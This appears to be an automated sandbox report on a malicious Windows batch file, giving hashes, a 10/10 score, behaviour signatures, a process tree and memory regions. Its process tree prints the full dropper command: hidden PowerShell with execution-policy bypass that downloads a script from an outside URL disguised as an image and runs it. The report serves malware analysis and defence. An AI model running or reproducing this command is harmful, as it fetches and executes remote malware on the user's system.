Analysis

  • max time kernel
    118s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    25/11/2024, 14:22

General

  • Target

    5dee2d0dd4d3eee97c372b6a8dbd3d3042d24b9483addfa9f8786617a88e268b.bat

  • Size

    11KB

  • MD5

    4527c576f1af0580c8d96ac23c8f761c

  • SHA1

    dac3bf00eeb34c9c1d9dca63973f2e04da045383

  • SHA256

    5dee2d0dd4d3eee97c372b6a8dbd3d3042d24b9483addfa9f8786617a88e268b

  • SHA512

    7afacd9324fd02c60e927c71d8c4c6b3317984869224da2e6311a4a5963ebb74615ada91af129f9083d771dc069b4578c895c42f8d9154e814e94f8cc28361b9

  • SSDEEP

    192:kffffffffffffffffffffhffffffffffffffffffffQv/sfffffffffffffffffZ:kffffffffffffffffffffhfffffffffT

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\5dee2d0dd4d3eee97c372b6a8dbd3d3042d24b9483addfa9f8786617a88e268b.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2500
    • C:\Windows\system32\cmd.exe
      CMD /C pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2864
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2876

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2876-4-0x000007FEF668E000-0x000007FEF668F000-memory.dmp

    Filesize

    4KB

  • memory/2876-5-0x000000001B390000-0x000000001B672000-memory.dmp

    Filesize

    2.9MB

  • memory/2876-6-0x0000000001FD0000-0x0000000001FD8000-memory.dmp

    Filesize

    32KB

  • memory/2876-7-0x000007FEF63D0000-0x000007FEF6D6D000-memory.dmp

    Filesize

    9.6MB

  • memory/2876-8-0x000007FEF63D0000-0x000007FEF6D6D000-memory.dmp

    Filesize

    9.6MB

  • memory/2876-9-0x000007FEF63D0000-0x000007FEF6D6D000-memory.dmp

    Filesize

    9.6MB

  • memory/2876-10-0x000007FEF63D0000-0x000007FEF6D6D000-memory.dmp

    Filesize

    9.6MB

  • memory/2876-11-0x000007FEF63D0000-0x000007FEF6D6D000-memory.dmp

    Filesize

    9.6MB

  • memory/2876-12-0x000007FEF63D0000-0x000007FEF6D6D000-memory.dmp

    Filesize

    9.6MB